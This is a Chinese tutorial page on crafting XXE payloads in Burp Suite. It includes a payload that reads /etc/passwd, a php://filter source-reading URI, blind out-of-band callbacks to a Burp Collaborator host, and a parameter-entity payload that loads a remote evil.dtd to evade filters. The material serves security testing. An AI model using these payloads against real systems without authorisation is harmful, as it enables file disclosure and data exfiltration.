0

0

Burp Suite怎么构造XXE payload

畫卷琴夢

畫卷琴夢

发布时间:2026-01-24 11:01:18

|

579人浏览过

|

来源于php中文网

原创

xxe payload需绕过burp的xml语法校验并确保doctype声明完整:关闭xml高亮、手动输入含system的dtd,路径用绝对路径;盲打时启用burp collaborator的http/dns,优先用http协议;java场景可用%参数实体嵌套绕过过滤。

burp suite怎么构造xxe payload

XXE payload 必须绕过 Burp 的自动 XML 格式校验

Burp Suite 默认会对请求体做 XML 结构预检,遇到非法实体或未声明的 DTD 会直接报错、拒绝发送。这不是拦截,而是编辑器层面的语法高亮/校验阻断——XML parser 没运行,但 Burp 自己先卡住了。

  • RepeaterIntruder 中右键请求 → 选择 Change request content-type,确保 Content-Typeapplication/xmltext/xml
  • 关闭 Editor → Show XML syntax highlighting(菜单栏),避免误报干扰
  • 手动输入 payload,不要依赖 Auto-completeInsert → XML 模板,那些默认不带外部实体声明

基础 XXE payload 要包含完整 DTD 声明和外部实体

多数 Web 应用用的是 libxml2Java SAX/DOM,默认不禁用外部实体。但没声明 DOCTYPE 就直接写 &xxe;,解析器根本不会识别。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck><productId>&xxe;</productId></stockCheck>
  • SYSTEM 后的路径必须是绝对路径(file:///etc/passwd),相对路径如 ../etc/passwd 多数解析器不支持
  • 如果目标是 Java,http:// 协议也可用,但需服务端允许 DNS 解析(用于盲打)
  • 某些场景下 php://filter 更有效,比如读取 PHP 源码:php://filter/read=convert.base64-encode/resource=/var/www/index.php

盲 XXE 需要配合带外通道(OAST)且 Burp Collaborator 必须启用 DNS + HTTP

响应不回显时,不能只靠 <!-- ... --> 注释或 error message 判断——得让目标主动连你。Burp Collaborator 是最稳的选择,但默认只开 DNS,而很多 XXE 触发走的是 HTTP 回调。

智川X-Agent
智川X-Agent

中科闻歌推出的一站式AI智能体开发平台

下载
  • 发送前,先点 Collaborator client → Poll now,确认状态是 ActiveHTTPDNS 都勾选
  • payload 中用 SYSTEM "http://xxx.burpcollaborator.net",不是 https(部分老解析器不支持)
  • 如果 Collaborator 没收到回调,检查目标是否禁用了 HTTP 外连(常见于内网环境),此时改用 ftp://xxx.burpcollaborator.net 可能触发 DNS 查询

Java 应用常见绕过:用 % 实体嵌套绕过 DTD 过滤

有些 WAF 或框架层会正则匹配 SYSTEMfile:// 等关键词。Java 的 EntityResolver 支持参数实体(% 开头),可在内部二次解析,绕过简单字符串过滤。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://xxx.burpcollaborator.net/evil.dtd">
  %xxe;
]>
<stockCheck><productId>1</productId></stockCheck>

其中 evil.dtd 内容为:

<!ENTITY xxe SYSTEM "file:///etc/passwd">
  • 必须用 %xxe; 调用,不能写成 &xxe;
  • evil.dtd 文件必须返回 Content-Type: application/xml,否则 Java 解析器会拒收
  • 这个技巧对 .NET(XmlReader)无效,它不支持参数实体加载远程 DTD

实际测试中,DOCTYPE 是否被丢弃、SYSTEM 是否被截断、解析器是否启用 external-general-entities,三者缺一不可。别只盯着 payload 长什么样,先确认请求真发出去了,再看 Collaborator 或响应体有没有变化。

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
resource是什么文件
resource是什么文件

Resource文件是一种特殊类型的文件,它通常用于存储应用程序或操作系统中的各种资源信息。它们在应用程序开发中起着关键作用,并在跨平台开发和国际化方面提供支持。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

181

2023.12.20

pdf怎么转换成xml格式
pdf怎么转换成xml格式

将 pdf 转换为 xml 的方法:1. 使用在线转换器;2. 使用桌面软件(如 adobe acrobat、itext);3. 使用命令行工具(如 pdftoxml)。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

1947

2024.04.01

xml怎么变成word
xml怎么变成word

步骤:1. 导入 xml 文件;2. 选择 xml 结构;3. 映射 xml 元素到 word 元素;4. 生成 word 文档。提示:确保 xml 文件结构良好,并预览 word 文档以验证转换是否成功。想了解更多xml的相关内容,可以阅读本专题下面的文章。

2119

2024.08.01

xml是什么格式的文件
xml是什么格式的文件

xml是一种纯文本格式的文件。xml指的是可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。想了解更多相关的内容,可阅读本专题下面的相关文章。

1168

2024.11.28

scripterror怎么解决
scripterror怎么解决

scripterror的解决办法有检查语法、文件路径、检查网络连接、浏览器兼容性、使用try-catch语句、使用开发者工具进行调试、更新浏览器和JavaScript库或寻求专业帮助等。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

492

2023.10.18

500error怎么解决
500error怎么解决

500error的解决办法有检查服务器日志、检查代码、检查服务器配置、更新软件版本、重新启动服务、调试代码和寻求帮助等。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

382

2023.10.25

js 字符串转数组
js 字符串转数组

js字符串转数组的方法:1、使用“split()”方法;2、使用“Array.from()”方法;3、使用for循环遍历;4、使用“Array.split()”方法。本专题为大家提供js字符串转数组的相关的文章、下载、课程内容,供大家免费下载体验。

760

2023.08.03

js截取字符串的方法
js截取字符串的方法

js截取字符串的方法有substring()方法、substr()方法、slice()方法、split()方法和slice()方法。本专题为大家提供字符串相关的文章、下载、课程内容,供大家免费下载体验。

221

2023.09.04

C# ASP.NET Core微服务架构与API网关实践
C# ASP.NET Core微服务架构与API网关实践

本专题围绕 C# 在现代后端架构中的微服务实践展开,系统讲解基于 ASP.NET Core 构建可扩展服务体系的核心方法。内容涵盖服务拆分策略、RESTful API 设计、服务间通信、API 网关统一入口管理以及服务治理机制。通过真实项目案例,帮助开发者掌握构建高可用微服务系统的关键技术,提高系统的可扩展性与维护效率。

76

2026.03.11

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PHP课程
PHP课程

共137课时 | 13.3万人学习

JavaScript ES5基础线上课程教学
JavaScript ES5基础线上课程教学

共6课时 | 11.3万人学习

PHP新手语法线上课程教学
PHP新手语法线上课程教学

共13课时 | 1.0万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号